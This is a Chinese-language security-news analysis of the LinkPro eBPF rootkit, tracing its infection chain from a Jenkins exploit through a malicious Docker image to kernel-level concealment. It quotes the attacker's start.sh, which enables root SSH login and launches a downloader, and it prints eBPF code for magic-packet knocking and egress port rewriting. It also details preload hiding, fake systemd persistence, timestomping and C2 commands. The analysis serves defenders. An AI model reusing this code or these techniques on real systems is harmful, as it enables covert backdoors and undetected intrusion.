摘要

這份報告提供了 LinkPro 的全面技術分析,LinkPro 是一種針對 GNU/Linux 系統的複雜 eBPF 型 rootkit。報告深入探討了其感染鏈、rootkit 的運作機制,以及其進階的隱匿與持久化技術。特別關注了負責網路流量操控和程序隱藏的 eBPF 程式,包括對相關程式碼片段和架構圖的詳細檢視。本報告旨在闡明 LinkPro 的技術複雜性,有助於更深入地理解現代利用 eBPF 的惡意軟體。

LinkPro 實戰分析:從 Jenkins 漏洞到 eBPF 植入 Rootkit 的完整感染鏈 | 資訊安全新聞

1. 簡介

擴展的 Berkeley Packet Filter (eBPF) 已成為 Linux 生態系統中強大的內核虛擬機器,為可觀察性、安全性和網路提供了前所未有的能力。它能夠在 kernel 環境中安全地執行使用者定義的程式,徹底改變了系統監控和控制。然而,這種能力也吸引了 Threat actors,他們越來越多地濫用 eBPF 來開發高度隱匿且持久的惡意軟體,通常被稱為 eBPF rootkits [1]。這些進階威脅利用 eBPF 的 kernel 級別存取來規避傳統的安全機制、操縱系統行為並在被入侵的系統上保持隱蔽存在 [2]。

LinkPro 就是這樣一種複雜的 eBPF rootkit,是在對受入侵基礎設施進行數位調查時發現的 [1]。此惡意軟體採用雙 eBPF 模組策略:一個用於自我隱藏,另一個則透過一個 "magic packet" 進行遠端啟動 [1]。本報告旨在剖析 LinkPro 的技術功能,對其感染途徑、eBPF 組件、持久化機制以及命令與控制能力進行深入分析。透過檢視底層程式碼和架構流程,本次分析旨在增進對 eBPF 如何被武器化的理解,並為防禦此類進階持續性威脅提供防禦策略的參考。

2. 感染鏈

導致 LinkPro 部署的初始入侵源於一個有漏洞的 Jenkins 伺服器,具體來說是利用了 CVE-2024–23897 [1]。此漏洞為 Threat actor 提供了初始存取權限,隨後被用來滲透託管在 Amazon EKS 叢集上的整合與部署管線。從被入侵的 Jenkins 伺服器,一個名為 kvlnt/vv 的惡意 Docker 映像檔被部署到多個 Kubernetes 叢集。這個基於 Kali Linux 的 Docker 映像檔,包含了額外的階層,在 /app 目錄中包含三個關鍵組件 [1]:

  1. /app/start.sh : 作為 Docker 映像檔的進入點 (entrypoint) 的 bash 腳本,負責啟動 SSH 服務、執行 /app/app 後門,並啟動 /app/link 程式。
  2. /app/link : 一個開源的 VPN 伺服器和代理工具 (vnt),設定為連接到一個社群中繼伺服器。這使得 Threat actor 能夠建立隱蔽連線,並將被入侵的伺服器用作內部網路樞紐的代理。
  3. /app/app : 一個名為 vGet 的下載器惡意軟體,使用 Rust 開發。它的主要功能是從 S3 bucket 取出一個加密的 malicious payload,通常是一個記憶體內部的 vShell 4.9.3 後門。vGet 也會創建一個從 /tmp/.del /dev/null 的符號連結,vShell 隨後會使用它來防止指令 history 被寫入 disk,從而增強隱匿性。

Docker 映像檔內的一個關鍵設定涉及將主機的 root 分割區 ( / ) 掛載到容器的 /mnt 目錄,並賦予讀寫權限。這種錯誤設定允許 Threat actor 逃逸容器的環境並獲得整個主機檔案系統的 root 存取權限 [1]。隨後,這種提升的權限被用來從主機和其他 pod 取出敏感的認證,使用諸如 cat 等指令從與 Kubernetes 相關的 Path 提取資料。

在初始部署之後,觀察到一個 dropper 部署了另一個 vShell 後門,這次是透過 DNS tunneling 進行通訊。最終,未公開的 LinkPro rootkit 被引入,它利用 eBPF 技術實現了進階的隱匿性、持久化和內部網路樞紐能力 [1]。整個感染鏈如下圖所示:

graph TD A[Jenkins Vulnerability] --> B(Initial Access) B --> C{Deploy Docker Image} C --> D[Docker: Kali Linux] D --> E[Add App Scripts] E --> F[start.sh runs sshd, app, link] F --> G[app vGet downloads vShell] F --> H[link vnt VPN Proxy] G --> I[vShell C2 via WebSocket] H --> J[Threat Actor via vnt] E --> K[Mount Host to Container] K --> L[Container Escape Root Access] L --> M[Retrieve Credentials] M --> N[Dropper deploys vShell] N --> O[LinkPro eBPF Rootkit] O --> P[eBPF Concealment Magic Packet] P --> Q[Persistence systemd-resolved] P --> R[Self-Deletion on signals] O --> S[Commands: terminal, shell, file_manage]

圖 1:LinkPro 感染鏈

2.1. 初始執行腳本分析

start.sh 腳本是惡意 Docker 映像檔的進入點。它執行了幾項關鍵動作來建立持久性和啟動惡意軟體組件。該腳本修改了 SSH daemon 的設定,啟動 SSH 服務,然後執行 vGet 下載器和 vnt VPN/代理工具。

  1. #!/bin/bash
  2. sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
  3. /etc/init.d/ssh start
  4. ./app &
  5. ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp

程式碼分析:

  • sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config : 此命令修改 sshd_config 檔案以啟用 root 登入,方便攻擊者進行持久的遠端存取。
  • /etc/init.d/ssh start : 啟動 SSH 服務,使被入侵的主機可透過 SSH 存取。
  • ./app & : 在背景執行 vGet 下載器,它會繼續抓取並執行 vShell Payload
  • ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp : 啟動 vnt VPN/代理用戶端。引數指定了一個 Token ( -k )、一個密碼 ( -w )、啟用加密 ( -W ),並允許轉發到所有網路區段 ( -o 0.0.0.0/0 )。 || tail -f /var/log/wtmp 確保如果 ./link 失敗,容器不會退出,從而維持某種形式的活動。

3. LinkPro eBPF Rootkit

LinkPro 的獨特之處在於其對 eBPF 程式的複雜運用,以實現隱匿性和維持控制。它嵌入了四個 ELF 模組:一個共享函式庫、一個 Kernel 模組(似乎未使用)和兩個 eBPF 模組 [1]。這些 eBPF 模組是其運作的核心,實現了隱蔽通訊和系統操控。

3.1. 設定與通訊

LinkPro 的運作模式(被動或主動)由其設定決定,該設定可以 JSON 格式嵌入在二進位檔案中、 hardcoded ,或透過命令列引數修改。關鍵的命令列引數包括 -ebpf (啟用/停用 eBPF 功能)、 -hideebpf (隱藏 eBPF 程式/映射/連結)和 -pid (隱藏特定的程序 ID)[1]。這種靈活性允許 rootkit 根據部署環境和攻擊者目標調整其行為。

3.2. 基於 eBPF 的 "Magic Packet" 啟動 (xdp_ingress)

LinkPro 最巧妙的功能之一是其 基於 eBPF 的 "magic packet" 啟動機制,主要透過 xdp_ingress eBPF 程式實現。這個程式附著在 XDP (eXpress Data Path) 層的網路介面上,使其能夠在網路堆疊中最早的可能點處理傳入的封包,在它們到達 Kernel 的正常處理管線之前 [1]。

xdp_ingress 程式監控具有預定義視窗大小 (54321) 的特定 TCP SYN 封包。一旦偵測到,它會將此 "magic packet" 的來源 IP 註冊到 knock_map 中,有效期限為一小時。它還在 rev_port 映射中儲存一個 port mapping,將來源 IP、來源通訊埠和一個預定義的內部通訊埠 (2233) 連結到 magic packet 的原始目的通訊埠。至關重要的是,magic packet 本身會被丟棄 ( XDP_DROP ),以確保其隱匿性 [1]。

隨後,對於任何源自於 knock_map 中註冊的 IP 位址的 TCP 封包, xdp_ingress 程式會將封包的目的通訊埠修改為 2233(LinkPro 的監聽埠),如果它尚未設定的話。它也會重新計算 TCP checksum 以確保封包完整性。這使得攻擊者可以透過任何前置防火牆授權的通訊埠與 LinkPro 通訊,因為該通訊埠在內部被重寫。然後封包會被傳遞到網路堆疊 ( XDP_PASS ) [1]。

  1. if (tcph->syn && tcph->window == bpf_htons(MAGIC_WIN)) {
  2. bpf_printk("[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u", sip_h, sport_h, dport_h, (data->tcph).window); // (Knock packet detected)
  3. __u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour
  4. bpf_map_update_elem(&knock_map, &sip_h, &exp, BPF_ANY);
  5. bpf_printk("[KNOCK-SET] key=%x exp=%llu", sip_h, exp);
  6. __u16 in_port = get_in_port()
  7. struct rev_key rk = {
  8. in_port,
  9. sip_h,
  10. sport_h
  11. }
  12. bpf_map_update_elem(&rev_port, &rk, &dport_h, BPF_ANY);
  13. bpf_printk("[KNOCK] %x:%u -> %u", sip_h, sport_h, dport_h);
  14. return XDP_DROP;
  15. }

程式碼分析:

  • 此程式碼片段展示了偵測 magic packet 的核心邏輯。它檢查傳入的 TCP 封包是否為 SYN 封包,以及其視窗大小是否與 MAGIC_WIN (54321) 相符。
  • 如果偵測到 magic packet, bpf_ktime_get_ns() + WIN_NS 會計算來源 IP 的有效期限(目前時間 + 1 小時),然後儲存在 knock_map 中。此 map 用於追蹤授權 IP 以進行後續通訊。
  • 一個 rev_key 結構被填入內部通訊埠 ( in_port ,通常為 2233)、來源 IP ( sip_h ) 和來源通訊埠 ( sport_h )。這個 key ,連同原始目的通訊埠 ( dport_h ),儲存在 rev_port 映射中。此映射對於在 egress 流量上重寫來源通訊埠至關重要。
  • 最後,回傳 XDP_DROP ,阻止 magic packet 進一步進入 Kernel ,從而保持隱匿性。

eBPF magic packet 啟動的流程如下圖所示:

graph TD A[Incoming TCP Packet] --> B{Is SYN?} B -- No --> C[Normal Processing] B -- Yes --> D{Window Size == 54321?} D -- No --> C D -- Yes --> E[Magic Packet Detected] E --> F[Save Source IP to knock_map] E --> G[Save Port Mapping to rev_port] E --> H[Drop Magic Packet] H --> I[System in Open State] I --> J{Subsequent TCP from Registered SIP?} J -- No --> C J -- Yes --> K{Dest Port == 2233?} K -- Yes --> L[Pass Packet] K -- No --> M[Rewrite Dport to 2233] M --> N[Recalculate TCP Checksum] N --> L L --> O[Packet to Network Stack]

圖 2:eBPF Magic Packet 啟動流程

3.3. 基於 eBPF 的 Egress 封包重寫 (tc_egress)

為了確保雙向通訊同時保持隱匿性,LinkPro 採用了第二個 eBPF 程式 tc_egress ,附著在 egress(輸出)流量 Path 上。此程式監控來源通訊埠為 LinkPro 內部監聽埠 (2233) 的輸出 TCP 封包 [1]。

當偵測到此類封包時, tc_egress 會查詢 rev_port 映射(由 xdp_ingress 填充)以取出傳入 magic packet 的原始目的通訊埠。然後,它將輸出封包的來源通訊埠重寫回此原始通訊埠,並重新計算 TCP checksum。這確保了回應封包看起來是源自於攻擊者最初瞄準的通訊埠,進一步混淆了 LinkPro 的存在,並使網路鑑識更具挑戰性 [1]。

  1. if ((data->tcph).source == bpf_htons(get_in_port())){
  2. __u16 dport_n = tcph->dest;
  3. struct rev_key rk = {
  4. get_in_port(),
  5. bpf_ntohl((data->iph).daddr),
  6. bpf_ntohs(dport_n)
  7. }
  8. __u16 *knock = bpf_map_lookup_elem(&rev_port, &rk);
  9. if (!knock) {
  10. bpf_printk("[TC-MISS] 未找到端口映射: dip=%x dport=%u", bpf_ntohl((data->iph).daddr), bpf_ntohs(dport_n)); // (Port mapping not found)
  11. }
  12. else {
  13. __u16 new_n = bpf_htons(*knock);
  14. __u16 old_n = (data->tcph).source;
  15. __u32 o32 = (__u32)old_n;
  16. __u32 n32 = (__u32)new_n;
  17. __u32 diff = bpf_csum_diff(&o32, 4, &n32, 4, ~(data->tcph).check);
  18. (data->tcph).source = new_n;
  19. (data->tcph).check = fold_csum(diff);
  20. bpf_printk("[TC] REWRITE_BACK %u→%u", get_in_port(), *knock);
  21. }
  22. }

程式碼分析:

  • 此片段說明了 tc_egress 如何識別源自 LinkPro 內部通訊埠 ( get_in_port() ,通常為 2233) 的輸出封包。
  • 它使用內部通訊埠、目的 IP 和輸出封包的目的通訊埠構建一個 rev_key 。此 key 用於從 rev_port 映射中查找對應的原始目的通訊埠。
  • 如果找到匹配項 ( knock 不為空),輸出 TCP header 的來源通訊埠會被重寫為原始通訊埠 ( *knock )。
  • 使用 bpf_csum_diff 計算新的 TCP checksum 以反映通訊埠修改,確保封包保持有效。
  • bpf_printk 語句提供了除錯資訊,指示何時發生通訊埠重寫。

egress 封包重寫程序如下圖所示:

graph TD A[Outgoing TCP Packet] --> B{Source Port == 2233?} B -- No --> C[Normal Egress] B -- Yes --> D{Lookup in rev_port map?} D -- Found --> E[Rewrite Source Port to Original Dport] D -- Not Found --> C E --> F[Recalculate TCP Checksum] F --> G[Pass Packet] G --> H[Packet to Network Stack]

圖 3:eBPF Egress 封包重寫流程

3.4. 隱藏與持久化

除了網路隱匿性,LinkPro 還採用了幾種技術來實現隱藏和持久化。對於 Kernel 級別的隱藏,它利用 eBPF tracepoint kretprobe 程式來攔截系統呼叫,例如 getdents (用於檔案隱藏)和 sys_bpf (用於隱藏其自身的 eBPF 程式)。如果缺少必要的 Kernel 設定 ( CONFIG_BPF_KPROBE_OVERRIDE ),LinkPro 會透過 /etc/ld.so.preload 加載一個 malicious payload 程式庫,退回到使用者空間隱藏 [1]。

為了持久化,LinkPro 將自己偽裝成 systemd-resolved 服務。這涉及以讀/寫權限掛載 root 分割區,將其可執行檔複製到一個隱藏位置(例如, /usr/lib/.system/.tmp~data.resolveld ),並創建一個惡意的 systemd unit File ( /etc/systemd/system/systemd-resolveld.service ),以確保它在開機時啟動並在被終止時重新啟動。它還執行 timestomping ,將其檔案的修改日期與合法的系統檔案(如 /etc/passwd )匹配,進一步阻礙偵測 [1]。

3.5. 命令與控制 (C2) 能力

一旦建立,LinkPro 為攻擊者提供了一系列命令與控制功能,從而能夠對受入侵系統進行全面控制 [1]:

  • 終端管理: terminal_create terminal_resize terminal_input 這樣的命令允許攻擊者在 pseudo-terminal 中執行 /bin/bash 並與之互動。
  • Shell 執行: shell 命令直接執行任意 shell 命令(例如, /bin/sh -c [cmd] )。
  • 檔案管理: 一套子命令( read_file list_files write_file create_file delete_file upload_file create_folder get_current_dir delete_files_batch )提供了對檔案系統的完全控制。 upload_file 子命令透過 HTTP 方便地下載檔案到受感染的主機。
  • 下載管理: download_manage 命令允許以 1MB base64-encoded chunk 進行檔案外洩。
  • Reverse Connection: reverse_connect close_reverse_connect 使用 resocks 模組建立 SOCKS5 代理 tunnel ,使受入侵主機充當樞紐點。
  • Reverse HTTP Listener: reverse_http_listener 設定 HTTP 服務進行通訊。
  • 睡眠設定: set_sleep_config 更新諸如 sleep_time jitter_time 等參數,影響 rootkit 的運作節奏和規避能力。

4. 結論

LinkPro eBPF rootkit 代表了惡意軟體複雜度的重大演變,有效地利用了 eBPF 的強大功能和靈活性,實現了深層次的 Kernel 級隱匿和強健的持久化。其多層次的方法,將複雜的感染鏈與用於網路流量操控和程序隱藏的進階 eBPF 程式相結合,對傳統安全解決方案構成了實質性的挑戰。使用 "magic packet" 進行啟動和動態重寫網路 headers 體現了旨在繞過偵測並使鑑識分析複雜化的創新規避技術。

對 LinkPro 的技術分析強調了對能夠監控和分析 Kernel 內 eBPF 程式行為的強化安全措施的關鍵需求。隨著 eBPF 的採用增加,惡意 Threat actor 對其的攻擊也會增加。開發和部署進階的 eBPF 感知安全工具,以及嚴格的系統強化和持續監控,對於防禦像 LinkPro 這樣的 rootkits 和減輕這類新興威脅所帶來的風險至關重要。